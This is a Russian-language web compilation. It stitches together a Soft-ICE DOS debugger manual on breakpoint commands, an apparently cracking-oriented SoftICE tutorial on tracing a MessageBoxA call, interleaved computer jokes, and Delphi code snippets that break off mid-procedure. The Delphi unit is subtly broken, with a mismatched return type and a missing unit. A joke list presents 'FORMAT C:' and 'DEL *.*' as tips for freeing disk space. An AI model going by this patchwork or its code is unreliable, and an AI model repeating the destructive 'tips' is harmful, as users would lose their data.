Address -- Адрес - значение, состоящее из двух 16-битных слов, разделенных двоеточием. Первое слово - адрес сегмента, второе слово - смещение сегмента. Адреса могут состоять из выражений с регистрами и символов. Адрес может также содержать специальные символы "$", "." и "@". См. часть 3.8 (Синтаксис Команд) для описания этих специальных символов.

Break-number -- Номер останова - идентификационный номер, который определяет точку останова, используемый при управлении точками останова (Например, их редактирование, удаление, активация или дезактивация). Номером останова может быть шестнадцатеричная цифра от 0 до F.

List -- Список - ряд номеров останова, разделенных запятыми или пробелами. mask -- Маска - битовая маска, представленная: комбинацией единиц, нулей и Х'ов. Х'ы - любые биты.

Пример:

BPIO 21 W EQ M 1XXX XXXX

Эта команда вызовет останов, который произойдет, если в порт 21H будет произведена запись набора битов в вышеуказанном порядке.

GT, LT -- GT и LT - определители команды беззнакового сравнения значений.

ГЛАВА 4

Использование Команд Работы с Точками Останова

4.1 Введение 4.2 Установка Точек Останова 4.3 Управление Точками Останова

4.1 Введение

У Soft-ICE есть возможности работы с точками останова, обычно доступные только в аппаратных отладчиках. Мощность и гибкость процессора 80386 дают широкие возможности работы с точками останова без дополнительной аппаратуры.

Точки останова можно устанавливать на запись и чтение в ячейку памяти, запись и чтение в диапазон (область) памяти, выполнение программы и доступ к портам. Soft-ICE назначает одну шестнадцатеричную цифру (0-F) каждой точке останова. Этот номер останова используется для обозначения точек останова, когда вы их устанавливаете, удаляете, отменяете, восстанавливаете или редактируете.

Все точки останова Soft-ICE - "прилипающие". Это означает, что они не исчезают автоматически после того, как они использовались; вы должны намеренно удалить или отменить их, используя команды BC или BD. Soft-ICE может поддерживать 16 точек останова одновременно. Вы можете устанавливать до десяти точек останова отдельного типа, кроме точек останова на ячейку памяти (ВРМ'ов), которых может быть только четыре, из-за ограничений процессора 80386.

Для точек останова может быть определен параметр - счетчик. Параметр - счетчик сообщает Soft-ICE, сколько раз точка останова должна игнорироваться перед произведением останова.

4.2 Установка Точек Останова

Команды:

BPM, BPMB, BPMW, BPMD -- Устанавливают точку останова на доступ к памяти или выполнение BPR -- Устанавливает точку останова на диапазон памяти BPIO -- Устанавливает точку останова на доступ к порту ввода/вывода BPINT -- Устанавливает точку останова на прерывание BPX -- Устанавливает/отменяет точку останова на выполнение CSIP -- Устанавливает точку останова на CS:IP BPAND -- Ожидает срабатывания многих точек останова.

BPM, BPMB, BPMW, BPMD

BPM, BPMB, BPMW, BPMD -- Точка останова на доступ к памяти или выполнение.

Синтаксис:

BPM[размер]адрес[опция][значение определителя][C=счетчик]

Размер -- B, W, D B -- Байт W -- Слово D -- Двойное Слово Размер - диапазон, охватываемый этой точкой останова. Например, если используется двойное слово и третий байт двойного слова изменен, то произойдет останов. Размер также важен, если указан необязательный определитель (см. ниже). опция -- R, W, RW или X определитель -- EQ, NE, GT, LT, M EQ -- Равно NE -- Не Равно GT -- Больше LT -- Меньше M -- Маска.

Эти определители применимы только к точкам останова на чтение и запись.

Значение -- Значение размером байт, слово или двойное слово, в зависимости от указанного размера.

Комментарии:

Команды BPM позволяют вам устанавливать точку останова на чтение или запись в память или на выполнение.

Если опция не указана, по умолчанию принимается RW.

Если размер не определен, по умолчанию принимается байт.

Все типы опций, кроме X, вызывают выполнение программой инструкции, которая вызвала останов. Текущий CS:IP будет указывать на следующую за точкой останова инструкцию. Если тип опции - X, текущий CS:IP будет указывать на инструкцию, на которую устанавливали точку останова.

Если указан R, то останов будет происходить при доступе на чтение и на операции записи, не изменяющие значение ячейки памяти.

Если тип опции - R, W или RW, выполнение инструкции по указанному адресу не будет вызывать останова.

Замечание: Если используется BPMW, указанный адрес должен начинаться на границе слова. Если используется BPMD, адрес должен указывать на границу двойного слова.

Пример:

BPM 1234:SI W EQ 10 C=3

Эта команда определяет точку останова на доступ к байту памяти. Останов произойдет, когда шестнадцатеричное число 10 будет записано третий раз в ячейку 1234:SI.

BPM CS:1235 X

Эта команда определяет точку останова на выполнение. Останов произойдет, когда в первый раз будет достигнута инструкция по адресу CS:1235. Текущий CS:IP будет указывать на инструкцию, на которую устанавливали точку останова.

BPMW DS:F00 W EQ M 0XXX XXXX XXXX XXX1

Эта команда определяет точку останова на запись слова в память. Останов произойдет, когда первый раз в ячейку DS:F00 произойдет запись значения, устанавливающая старший бит в 0 и младший бит в 1. Другие биты могут принимать любое значение.

Руководство по Soft-ICE (DOS) - 7.

- Может ли человек умереть от компьютерного вируса? - Смотря чей компьютер он им заразит.
BPM DS:1000 W GT 5

Эта команда определяет точку останова на запись байта в память. Останов произойдет когда первый раз в ячейку DS:1000 произойдет запись значения, большего чем 5.

BPR

BPR -- Устанавливает точку останова на диапазон памяти.

Синтаксис:

BPR адрес-начала адрес-конца [опция] [C=счетчик]

Адрес-начала, адрес-конца -- адрес начала и адрес конца определяют диапазон памяти. опция - R, W, RW, T или TW.

Комментарии:

Команда BPR позволяет устанавливать точку останова на диапазон памяти.

Все типы опций, кроме T или TW, заставляют программу выполнять инструкцию, вызвавшую останов. Текущий CS:IP будет указывать на следующую за точкой останова инструкцию.

Это - не точка останова на выполнение. Если нужно, чтобы происходил останов при выполнении в диапазоне, должен использоваться R. Для точек останова на диапазон выполнение инструкции рассматривается как чтение.

Если опция не определена, по умолчанию принимается W.

Точка останова на диапазон будет, в известных обстоятельствах, снижать производительность системы. Любое чтение или запись в пределах 4КБ страницы, которая содержит диапазон точки останова, анализируется Soft-ICE. Это снижение производительности обычно незаметно, но оно может быть очень большим в исключительных случаях.

Опции T и TW дают возможность обратной прогонки в указанном диапазоне. Они не вызывают останова, но вместо этого сохраняют информацию об инструкциях, которая может быть выведена позже командами TRACE или SHOW. Для получения большей информации об обратной трассировке, см. главу 9.

Пример:

BPR B000:0 B000:1000 W

Эта команда определяет точку останова на диапазон памяти. Останов произойдет, если произойдет любая запись в область видеопамяти монохромного адаптера.

BPIO

BPIO -- Устанавливает точку останова на доступ к порту ввода/вывода.

Синтаксис:

BPIO порт [опция] [значение определителя] [C=счетчик]

Порт -- Значение длиной в байт или слово опция -- R, W или RW R -- Чтение (IN) W -- Запись (OUT) определитель -- EQ, NE, GT, LT, M EQ -- Равно NE -- Не Равно GT -- Больше LT -- Меньше M -- Маска значение -- Значение длиной в байт или слово.

Комментарии:

Команда BPIO позволяет устанавливать точку останова на чтение или запись в порт ввода/вывода.

Если указано значение, оно сравнивается с фактически считываемыми или записываемыми данными, вызвавшей останов, инструкцией IN или OUT. Значение может быть байтом или словом. Если ввод/вывод происходит в байтовый порт, при сравнении используются младшие 8 битов.

Указатель инструкции (CS:IP) будет указывать на следующую инструкцию за вызвавшей останов инструкцией IN или OUT.

Если опция не определена, по умолчанию принимается RW.

Пример:

BPIO 21 W NE FF

Эта команда определяет точку останова на доступ к порту ввода/вывода. Останов произойдет, если в регистр маски первого контроллера прерываний будет записано значение, отличное от FFH.

BPIO 3FE R EQ M 11XX XXXX

Эта команда определяет байтовую точку останова на чтение из порта ввода/вывода. Останов произойдет при первом считывании из порта ввода/вывода 3FE значения, у которого два старших бита установлены в 1. Другие биты могут принимать любые значения.

BPINT

BPINT -- Устанавливает точку останова на прерывание.

Синтаксис:

BPINT номер-прерывания [= значение] [C = счетчик]

Номер-прерывания -- Номер прерывания из 0 - FF hex значение -- Значение длиной в байт или слово.

Комментарии:

Команда BPINT позволяет производить останов при выполнении аппаратного или программного прерывания. Указывая как необязательный параметр значение регистра AX, можно легко выделить определенные вызовы DOS или BIOS.

Если значение не определено, останов произойдет при выполнении прерывания, определенного номером-прерывания. Это прерывание может быть аппаратным, программным или внутренним прерыванием.

При выполнении прерывания необязательное значение сравнивается с указанным регистром (AH, AL или AX). Если значение соответствует указанному регистру, происходит останов.

Когда происходит останов, если прерывание было аппаратным, указатель инструк- ции (CS:IP) будет указывать на первую инструкцию в процедуре обработки преры- вания. Чтобы узнать, где происходило выполнение программы, когда произошло прерывание, может использоваться команда INT?. Если прерывание было программным, то при останове указатель инструкции (CS:IP) будет указывать на инструкцию INT, вызвавшую останов.

Пример:

BPINT 21 AH=4C

Эта команда определяет точку останова на прерывание 21H. Останов произойдет, когда будет вызвана функция DOS 4CH (завершить программу).

BPX

BPX -- Устанавливает/удаляет точку останова на выполнение.

Синтаксис:

BPX [адрес] [C=счетчик]

Комментарии:

Команда BPX позволяет устанавливать или удалять точку останова типа point-and- shoot на выполнение в исходном тексте. Когда курсор находится в окне кода, адрес не требуется. Точка останова на выполнение устанавливается по адресу текущего положения курсора. Если точка останова на выполнение уже была установлена по адресу текущего положения курсора, то она будет удалена.

Если окно кода не видимо или курсор - не в окне кода, то должен быть определен адрес. Если определено только смещение, то в качестве сегмента используется текущее значение регистра CS.

Техническое Примечание: BPX использует для точек останова стиль прерывания 3, если указанный адрес не принадлежит ROM. Это используется вместо регистра точек останова, чтобы предоставить больше точек останова на выполнение. Если в ваших обстоятельствах по некоторым причинам требуется использование регистра точек останова (например, код не загружен) вы можете установить точку останова командой BPM.

Пример:

BPX.1234

Устанавливает точку останова на выполнение в строку 1234 исходного текста.

CSIP

CSIP -- Устанавливает определитель диапазона CS:IP.

Синтаксис:

CSIP [OFF | [NOT] адрес-начала адрес-конца]

NOT -- Когда указан NOT, останов произойдет только если указатель CS:IP выйдет из указанного диапазона. OFF -- Отменяет проверку CS:IP.

Комментарии:

Команда CSIP вызывает останов, зависящий от положения указателя инструкций, когда будут выполнены условия точки останова. Эта функция часто полезна, когда программа подозревается в случайном изменении кода вне своих границ.

Когда выполнены условия точки останова, регистры CS:IP сравниваются с указанным диапазоном. Если они - в пределах диапазона, точка останова активизируется. Для активизации останова, когда CS:IP - вне диапазона, используйте параметр NOT.

Когда определен диапазон CSIP, он применяется ко ВСЕМ точкам останова, которые активны в настоящее время.

Если параметры не определены, выводится текущий диапазон CSIP.

Пример:

CSIP NOT F000:0 FFFF: 0

Эта команда вызывает останов, который произойдет только если CS:IP НЕ указывают в область ROM BIOS когда выполнены условия точки останова.

BPAND

BPAND -- Ожидает срабатывания многих точек останова.

Синтаксис:

BPAND список | * | OFF

Список -- Ряд номеров-останова, разделенных запятыми или пробелами * -- Складывает по АND'у все точки останова.

Комментарии:

Команда BPAND производит логическую операцию AND над двумя и более точками останова, вызывая останов только, когда выполнены условия для всех точек останова.

Иногда условия останова возникают, когда он вам не нужен, пока не будут выполнены несколько различных условий. Команда BPAND позволяет определять две или более точек останова, которые должны произойти перед производимым действием. Эта функция позволяет устанавливать точки останова по более сложным условиям.

Каждый раз, когда используется команда BPAND, указанные номера точек останова добавляются к списку, пока не будет использована BPAND OFF.

Вы можете увидеть какие из номеров-останова объединены по АND'у, просматривая список точек останова командой BL. Номера точек останова, объединенных по АND'у, будут заканчиваться амперсантом (&).

Один раз объединенные по АND'у, точки останова остаются объединенными, пока не будут удалены или пока BPAND не будет отключен.

Пример:

BPAND 0,2,3

Эта команда логически связывает условия точек останова 0, 2 и 3 между собой. Останов происходит, только когда выполнены условия всех трех. Например, если, по крайней мере, однажды выполнены условия точек останова 2 и 3, но условия точки останова 0 пока не выполнены вообще, то действие не произойдет, пока не будут выполнены условия точки останова 0.

Руководство по Soft-ICE (DOS) - 8.

А знаете ли Вы что... - 257 поворотов колёсика мыши означают быстрый выход из Windows. - Команда "FORMAT C:" освобождает много места на вашем жёстком диске. - Выключить компьютер можно и в удалённом доступе запустив в него что-нибудь тяжёлое. - Фирма Micosoft торгует вкусными пончиками (New-York, 15-Avenue, спросить Васю). - По результатам тестирования налучший метод сжатия файлов даёт команда "DEL *.*" обеспечивая 100% сжатие. - Чтобы русифицировать многие современные программы достаточно набрать в командной строке фразу "Yankee Go Home!' и нажать клавишу .

4.3 Управление Точками Останова

Soft-ICE предоставляет несколько команд для управления точками останова. Команды управления разрешают просматривать список, изменять, удалять, активизировать и деактивировать точки останова. Точки останова идентифициру- ются номерами-останова, которые являются шестнадцатеричный цифрами от 0 до F. Вот команды управления точками останова:

BD -- Деактивирует точки останова BE -- Активизирует точки останова BL -- Выдает список точек останова BPE -- Редактирует точку останова BPT -- Использует точку останова как шаблон BC -- Удаляет точки останова

BD

BD - Деактивирует точки останова.

Синтаксис:

BD список | *

Список -- Ряд номеров-останова, разделенных запятыми или пробелами * -- Деактивирует все точки останова.

Комментарии:

Команда BD используется для временной деактивации точек останова. Они могут вновь активизироваться командой BE (Активизировать точки останова).

Вы можете увидеть, какие из номеров-останова деактивированы, просматривая список точек останова командой BL. Точки останова, которые деактивированы, будут выделены звездочкой (*) после их номера-останова.

Пример:

BD 1,3

Эта команда временно деактивирует точки останова 1 и 3.

BE -- Активизирует точки останова.

Синтаксис:

BE список | *

Список -- Ряд номеров-останова, разделенных запятыми или пробелами * -- Активизирует все точки останова.

Комментарии:

Команда BE используется для повторной активизации точек останова, которые были деактивированы командой BD (Деактивировать точки останова).

Заметьте, что точка останова автоматически активизируется при ее определении.

Пример:

BE 3

Эта команда активизирует точку останова 3.

BL

BL -- Выдает список точек останова.

Синтаксис:

BL

Комментарии:

Команда BL показывает все точки останова, установленные в настоящее время. Для каждой точки останова BL выдает номер останова, условия точки останова, состояние точки останова и счетчик.

Состояние точки останова - либо активизирована либо деактивирована. Если точка останова деактивирована, после номера-останова выводится звездочка (*). Если активная точка останова используется в команде BPAND, после номера-оста- нова выводится символ (&). Самый последний вызвавший действие останов выделяется подсветкой.

У команды BL нет параметров.

Пример:

BL

Эта команда показывает все точки останова, которые были определены. Вот пример экрана, который показывает четыре точки останова:

0) BPMB 1234:0000 W EQ 0010 C=03 1)*BPR B000:0000 B000:1000 W C=01 2) BPIO 0021 W NE 00FF C=01 3) BPINT 21 AH=4C C=01.

Заметьте, что в этом примере, точке останова 1 предшествует звездочка (*), показывающая, что она была деактивирована.

BPE

BPE -- Редактирует точку останова.

Синтаксис:

BPE номер-останова

Комментарии:

Команда BPE загружает описание точки останова в строку редактирования для модификации. Тогда команда может быть отредактирована с использованием клавиш редактирования и повторно введена нажатием ВВОДа. Эта команда предоставляет быстрый способ изменения параметров существующей точки останова.

Пример:

BPE 1

Эта команда перемещает описание точки останова 1 в строку редактирования и удаляет точку останова 1. Нажатие клавиши ВВОД вызовет повторный ввод точки останова.

BPT

BPT -- Использует точку останова как шаблон.

Синтаксис:

BT номер-останова

Комментарии:

Команда BPT использует описание существующей точки останова как шаблон для новой точки останова.

Описание существующей точки останова загружается в строку редактирования. Точка останова, определяемая номером-останова, не изменяется. Эта команда предлагает быстрый путь создания новой точки останова, похожей на существующую точку останова.

Пример:

BPT 3

Эта команда помещает шаблон точки останова 3 в строку редактирования. При нажатии клавиши ВВОД добавляется новая точка останова.

BC

BC -- Удаляет точки останова.

Синтаксис:

BC список | *

Список -- Ряд номеров-останова, разделенных запятыми или пробелами * -- Удаляет все точки останова.

Комментарии:

Команда BC используется, чтобы навсегда удалить одну или более точек останова.

Пример:

BC *

Эта команда удаляет все точки останова.

ГЛАВА 5

Использование Других Команд.

5.1 Команды Вывода и Редактирования 5.2 Команды Портов ввода/вывода 5.3 Команды Передачи Управления 5.4 Команды Режима Отладки 5.5 Сервисные Команды 5.6 Специализированные Отладочные Команды 5.7 Команды работы с Окнами 5.8 Команды Настройки Отладчика 5.9 Команды Управления Экраном 5.10 Команды Работы с Символами и Строками Исходного Текста 5.1 Команды Вывода и Редактирования

Команды:

U -- Дизассемблировать инструкции или показать исходный текст R -- Показать или изменить регистры MAP -- Показать карту памяти системы D -- Показать память в самом последнем указанном формате DB -- Показать память в формате байта DW -- Показать память в формате слова DD -- Показать память в формате двойного слова E -- Редактировать память в самом последнем указанном формате EB -- Редактировать байты памяти EW -- Редактировать слова памяти ED -- Редактировать двойные слова памяти INT? -- Показать последний номер прерывания ? Или H -- Показать информацию помощи VER -- Показать номер версии Soft-ICE.

U

U -- Дизассемблирует инструкции или показывает исходный текст.

Синтаксис:

U [адрес] [L[=]длина]

Длина -- Число инструкций для дизассемблера.

Комментарии:

Команда U показывает инструкции отлаживаемой программы.

Если длина не определена, по умолчанию принимается восемь строк, если это возможно, или на одну строку меньше высоты экрана.

Если адрес не определен, команда дизассемблирует инструкции с адреса первого байта за последним байтом, дизассемблированным предыдущей командой. Если предыдущей команды дизассемблировать не было, за адрес по умолчанию принимается текущий CS:IP.

Если видимо окно кода, инструкции выводятся в окне кода.

Если для диапазона указанного адреса загружен исходный текст, в зависимости от текущего режима работы с кодом, могут быть выведены исходные строки.

Пример:

U $-10

Эта команда дизассемблирует инструкции, начиная за 10 (шестнадцатеричное) байтов до текущего адреса.

U .499

Эта команда выводит текущий файл с исходным текстом, начиная со строки 499. Окно кода должно быть видимо и находиться в режиме исходного текста.

R

R -- Показать или изменить регистры.

Синтаксис:

Руководство по Soft-ICE (DOS) - 9.

Лаборатория Касперского выпустила совет по поводу 11 сентября: "В связи с возможными терактами в первую годовщину атаки на WTC 11 сентября рекомендуем вам в этот день не просыпаться или 10 сентября перевести свои часы на 12-е."
R название-регистра [ [ = ]значение] ]

Название-регистра -- Любое из следующих: AL, AH, AX, BL, BH, BX, CL, CH, CX, DL, DH, DX, DI, SI, BP, SP, IP, CS, DS, ES, SS Или FL значение -- Если название-регистра - любое, кроме FL, значение - шестнадцатеричное значение или выражение. Если название регистра - FL, то значение - серия из одного или более следующие символов флагов, каждый с предшествующим ему знаком плюс или минус :

O (флаг Переполнения) (Overflow) D (флаг Направления) (Direction) I (флаг Прерывания) (Interrupt) S (флаг Знака) (Sign) Z (флаг Нуля) (Zero) A (флаг Вспомогательного переноса) (Auxiliary carry) P (флаг Паритета) (Parity) C (флаг Переноса) (Carry).

Комментарии:

Команда R показывает или изменяет регистры.

Без параметров выводит значения всех регистров и флагов, а также инструкцию по адресу текущего CS:IP.

Если название регистра указано без значения, Soft-ICE показывает текущие значения указанного регистра и спрашивает у вас новое значение. Если название регистра - FL, установленные флаги выводятся подсвеченными символами верхнего регистра; сброшенные флаги выводятся без подсветки в нижнем регистре. Для сохранения текущего значения регистра, нажмите ВВОД.

Если указаны и название регистра, и значение, содержимое указанного регистра заменяется указанным значением.

Чтобы изменить значение флага, используйте FL как имя регистра, сопровождаемое символами флагов, значения которых вы хотите переключить. Для установки флага поставьте перед символом флага знак плюс. Чтобы сбросить флаг, поставьте перед символом флага знак минус. Флаги могут быть указаны в любом порядке.

Примеры:

R AH 5

Эта команда устанавливает регистр AH равным 5.

R FL = OZP

Эта команда переключает значения флагов O, Z и P.

R FL

Эта команда выводит текущие значения флагов и предоставляет возможность их изменения.

R FL O +A -C

Эта команда переключает значение флага O, устанавливает флаг A и сбрасывает флаг C.

MAP

MAP -- Показать карту памяти системы.

Синтаксис:

MAP

Комментарии:

Команда MAP выводит названия, местоположение и размеры компонент памяти системы. Размер указывается в параграфах. Один параграф эквивалентен 10 (шестнадцатеричное) байтам.

Компонент, на который в настоящее время указывает CS:IP, подсвечивается.

Используйте команду MAP когда:

Произошел останов и CS:IP в неизвестной области памяти. Вы хотите получить контроль над резидентной или системной программой. Точка останова на диапазон может быть установлена основываясь на адресе начала и размере, отраженных командой MAP. Вы подозреваете программу или компонент системы в записи поверх кода вне своей области памяти. MAP используется, чтобы получить адрес памяти области для использования в команде CSIP. Вам необходимо выяснить, какая резидентная программа перехватывает определенные векторы прерываний.

Пример:

MAP

Вот - пример вывода, произведенного командой:

Начало Длина 0000:0000 0040 Таблица Векторов Прерываний 0040:0000 0030 Переменные ROM BIOS 0070:0000 00FE Система ввода/вывода 016E:0000 06B7 DOS 0842:0000 02CE Таблицы файлов и Буферы DOS A000:0000 5E00 Системная шина F000:0000 1000 ROM BIOS

Версии DOS ниже, чем 3.1 выдают адреса программ вместо вывода их названий.

D, DB, DW, DD

D, DB, DW, DD -- Показать память.

Синтаксис:

D [размер] [адрес] [L[ = ]длина]

Размер -- B -- Байт W -- Слово D -- Двойное Слово.

Длина -- Число байтов, которое должно быть выведено.

Комментарии:

Команда D выводит содержимое памяти по указанному адресу.

Содержимое выдается в формате указанного размера. Если размер не определен, вывод произойдет в последнем используемом формате. Для всех форм также выдается ASCII представление.

Если адрес не определен, команда выводит память по адресу начинающемуся с первого байта после последнего показанного байта.

Если длина не определена, по умолчанию принимается восемь строк или меньше если высота окна меньше.

Если окно данных видимо, данные выводятся в окне данных и длина игнорируется.

Пример:

DW DS:00 L=8

Эта команда показывает в формате слова (WORD) и в ASCII- формате значение первых восьми байтов текущего сегмента данных.

E, EB, EW, ED

E, EB, EW, ED -- Редактировать память.

Синтаксис:

E [размер] адрес [список-данных]

Размер -- B -- Байт W -- Слово D -- Двойное Слово.

Список данных -- список объектов данных указанного размера (Байты, Слова или Двойные Слова) или строк в кавычках, разделенных запятыми или пробелами. Строка может начинаться одинарной или двойной кавычкой.

Комментарии:

Команды E показывают содержимое памяти по указанному адресу и позволяет вам редактировать значения.

Эта команда показывают содержимое памяти в формате ASCII и в формате указанного размера.

Редактор памяти создан для быстрой ее модификации. Память можно редактировать вводя ASCII-символы или вводя значения размером байт, слово или двойное слово. Если размер не определен, будет принят последний использованный размер.

Вот клавиши редактирования памяти:

-- Перемещает курсор вверх -- Перемещает курсор вниз -- Перемещает курсор вправо -- Перемещает курсор влево.

ПРОБЕЛ -- Перемещает курсор на следующий элемент TAB -- переключает между числовым и ASCII-областями ESC или ВВОД -- Выход из редактора памяти.

После ввода значения обновляются реальные ячейки памяти. Все числовые значения - шестнадцатеричные числа. Для перехода между ASCII и числовой областями экрана нажмите клавишу TAB.

Если окно данных видимо, данные редактируются в окне данных, иначе данные редактируются в окне команд.

Длина данных по умолчанию принимается 8 строк, если в окне команд, или равной размеру окна данных, если оно видимо.

При отсутствии параметров, курсор перемещается в окно данных, если оно видимо. Если окно данных не видимо, данные редактируются в окне команд по последнему отображенному или редактированному адресу.

Примеры:

EB 1000:0

Эта команда выводит в формате байта до шести строк, содержащих как числовое, так и ASCII представление значений данных, начиная с ячейки 1000:0000. Вы можете редактировать значения отображенных строк. EB 8000:0 "Привет",0D Эта команда заменяет значения, начинающиеся с ячейки 8000:0000, строкой "Привет", сопровождаемой знаком возврата каретки.

INT?

INT? -- Выводит номер последнего прерывания.

Синтаксис:

INT?

Комментарии:

Команда INT? отображает адрес и номер последнего происшедшего прерывания.

Пример:

INT?

Вот пример экрана, выданного командой INT?:

Last Interrupt: 16
At: 0070:0255

Этот пример показывает, что последним прерыванием, сгенерированным системой перед вызовом окна Soft-ICE, было прерывание 16 (шестнадцатеричный номер) по адресу 0070:0255H. Если последнее происшедшее прерывание было программным, дизассемблирование кода по адресу 0070:0255H покажет инструкцию прерывания. Если это было аппаратное прерывание, дизассемблирование кода покажет команду, которая выполнялась когда произошло аппаратное прерывание.

? Или H

? Или H -- Выводит справочную информацию.

Основы работы с SoftIce.

Любимая песня Модерн Токинг для компьютерщика: "You my hard, you my soft".
Вернемся теперь к установленному нами в первой статье SoftICE и попытаемся разобраться с интерфейсом этой замечательной программы и также узнаем команды, которые нам пригодятся в самое ближайшее время. Так как SoftICE работает в 0-м кольце защиты, получить изображение интерфейса программы практически невозможно. Поэтому все описание будет чисто текстовым. Если при установке программы Вы следовали нашим указаниям, то сейчас интерфейс отладчика состоит из следующих частей (назовем их окнами, потому, что с ними действительно можно работать как с окнами - включать, выключать, изменять размер):

Самое верхнее окно - окно регистров (wr - сокращенное обозначение, используемое в SoftICE). В этом окне отображается содержимое регистров процессора. Отдельно от остальных в правом углу отображается состояние регистра флагов (каждого флага в отдельности). Наибольшее значение для нас имеет флаг нуля (изображается символом z). Заглавная буква Z означает, что флаг установлен, строчная - флаг сброшен. Под содержимым регистра флагов отображается также очень полезная для нас информация, но подробно я расскажу о ней в следующих статьях. Окно регистров включается и выключается командой wr. Следующее - окно данных. В нем мы можем наблюдать содержимое интересующего нас участка памяти. Существует несколько различных форм представления информации в этом окне: db - информация отображается в виде байтов (byte) dw - информация отображается в виде слов (word) dd - информация отображается в виде двойных слов (double word - dword) Информация в этом окне меняется при изменении содержимого участка памяти, т.е. Вы всегда видите именно то, что находится в данный момент в памяти. Окно включается и выключается командой wd. Ниже расположено окно кода. В нем отображается дизассемблированный текст исследуемой программы. Курсор (красная строка для рекомендованных настроек) указывает на команду, которая будет выполнена на следующем шаге. В нижней части окна (на желтой полоске) показано, в каком модуле мы в данный момент находимся. Переключается окно с помощью команды wc. Самое нижнее окно - окно команд SoftICE. Здесь Вы вводите команды и получаете некоторую полезную информацию о работе SoftICE. Т.к. выводимая информация целиком зависит от введенных команд, то описывать ее мы будем для каждой команды отдельно.

Работа всех Windows-приложений основана на вызове API-функций. Это очень удобно и выгодно. Например, для вывода окна сообщения с некоторым текстом, достаточно вызвать функцию MessageBoxA с адресом выводимой строки в качестве аргумента. Замечательной особенностью SoftICE является то, что Вы можете устанавливать точки прерывания на вызовы API-функций. Установив точку прерывания на некоторую строку программы, Вы сообщаете SoftICE, что при достижении этой строки программа должна прервать свое выполнение и возвратить управление отладчику. Например, Вы установили точку прерывания на выполнение команды по адресу 40АО0020, а затем запускаете программу с адреса 40АО0000. Дойдя до строки с адресом 40АО0020, программа прервется, управление вновь вернется в SoftICE, и Вы сможете узнать содержимое регистров процессора, участков памяти, а также, при необходимости, что-то изменить.

Точка прерывания на вызов API-функции устанавливается точно так же, как и не выполнение команды по определенному адресу. При вызове функции программа прерывается в самом ее начале, и после этого Вы можете выполнить необходимые Вам действия. Обычно точку прерывания на вызов API-функции устанавливают, когда хотят узнать, из какого места программы она вызывается. Допустим, в программе имеется следующий фрагмент:

некоторый код
...
40200100 call MessageBoxA
40200105 cmp eax, 01
...
продолжение программы
Вы точно знаете, что вызывается функция MessageBoxA, но не знаете, что это происходит по адресу 40200100h. Для того, чтобы это выяснить мы должны проделать следующее:

Активизируем SoftICE (Ctrl+D) Устанавливаем точку прерывания на вызов функции MessageBoxA (bpx MessageBoxA, советуем всегда писать общепринятые имена функций с заглавными и строчными буквами, SoftICE их не различает, а Вы так быстрее запомните). При этом происходит следующее: SoftICE устанавливает точку прерывания на выполнение первой команды указанной функции Выходим в Windows (F5) Выполняем те действия, в результате которых произойдет вызов функции MessageBoxA При вызове этой функции (сообщение в окне команд) программа прерывается в модуле USER (указано в низу окна кода) и активизируется SoftICE, при этом курсор установлен на первой команде функции MessageBoxA. Чтобы узнать, из какого места произошел ее вызов, используем команду p ret (быстрая клавиша F12) - продолжение программы до выполнения команды ret (команда возврата из подпрограммы) После этого, программа вновь прерывается по адресу 40200105 (на этой строке установлен курсор), а на предыдущей строке мы видим, что происходит вызов MessageBoxA. Вот мы и нашли то место, откуда вызывается функция MessageBoxA

Мы описали лишь незначительную часть команд SoftICE. Остальные подробно рассмотрим по мере их использования в наших следующих исследованиях конкретных программ. Что ж, мы уже немного освоились в SoftICE и вплотную подошли к необходимости использования дизассемблера. Без него никакого серьезного исследования программы Вам провести не удастся. Наш следующий рассказ о IDA Pro.

Отсортировать выполнение процессов в системе.

Автор: Евгений Левшаков WEB сайт: mcsa.ru

Нужно отсортировать выполнение процессов в системе, т.е. поочередно выполнить несколько процессов, тем самым автоматизировать некоторый " трудовой процесс" ? Этот код предоставляет такую возможность. Вы создаете " кадр" существующих в системе процессов, находите в нем нужный вам процесс по его ID и обрабатываете его сообщение.

unit PIDProcessing;
interface
function PIDExists(PID:Integer):boolean;
function RunProgram(ExeProgram:String):integer;
 
implementation
 
uses TLHelp32, Windows;
 
function PIDExists(PID:Integer):boolean; 
    {возвращает true, если процесс найден}
var hSnap:Cardinal;  
    // Snapshot (" кадр" ) запущенных процессов в системе
    ProcessEntry:TProcessEntry32; 
    // информация о процессе
    Finding:LongBool; 
    // возвращает true, 
       если первый  процесс скопирован в буфер, 
       иначе false
    Found:Boolean; 
    // возвращает true, 
       если в системе есть запущенные процессы
 begin
 hSnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS,0);  
         {создаем " кадр"  запущенных процессов}
  if hSnap=0 then
    begin
    Result:=False;
    Exit;
    end;
  Found:=False;
  ProcessEntry.dwSize:=SizeOf(ProcessEntry); 
  Finding:=Process32First(hSnap,ProcessEntry); 
       {предоставляет информацию  
        о первом процессе в " кадре" }
  While Finding do
    begin
    if PID=ProcessEntry.th32ProcessID then Found:=True;  
       {если необходимый процесс найден, 
       возвращаем true}
    Finding:=Process32Next(hSnap,ProcessEntry);  
 
       {предоставляет информацию 
        о следующем процессе в " кадре" }
    end;
  CloseHandle(hSnap);
  Result:=Found;
end;
function RunProgram(EXEProgram:String):Boolean;   
       {Возвращает true, 
        если процесс системы выполнен}
var si:TStartupInfo;   
       {определение свойств главного окна, 
        создаваемого приложения}
    pi:TProcessInformation; 
       {информация о созданном процессе 
        и его главном потоке}
begin
  FillMemory(@si,sizeof(si),0);
  si.cb:=Sizeof(si);
  Result:=False;
  if EXEProgram< > '' then
   if CreateProcess(nil,PChar(EXEProgram),
    nil,nil,false,
        NORMAL_PRIORITY_CLASS,nil,nil,si,pi) then  
    {создаем процесс}
     begin
 
     {до тех пор пока процесс существует в " кадре"  
      обрабатываем его сообщение}
     While PIDExists(pi.dwProcessId) 
            do Application.ProcessMessages;
     CloseHandle(pi.hProcess);  
     {закрываем процесс}
     CloseHandle(pi.hThread);  
     {останавливаем поток, 
      порожденный процессом}
          Result:=True;
        end;
end;
end.

Сортировка двух связанных списков по целочисленным значениям одного из них.

Автор: ___Nikolay WEB-сайт: http://delphiworld.narod.ru

procedure SortTwoListsByIntValues(lbNum, lbNames: TStrings);
var
  i, j, b_val, b_j: integer;
  b_val_name: string;
begin
  if lbNum.Count > 1 then
  begin
    for i := 0 to lbNum.Count - 2 do
    begin
      b_val := StrToInt(lbNum[i]);
      b_val_name := lbNames[i];
      b_j := i;
      for j := i + 1 to lbNum.Count - 1 do
      begin
        if StrToInt(lbNum[j]) < b_val then
        begin
          b_val := StrToInt(lbNum[j]);
          b_val_name := lbNames[j];
          b_j := j;
        end;
      end;
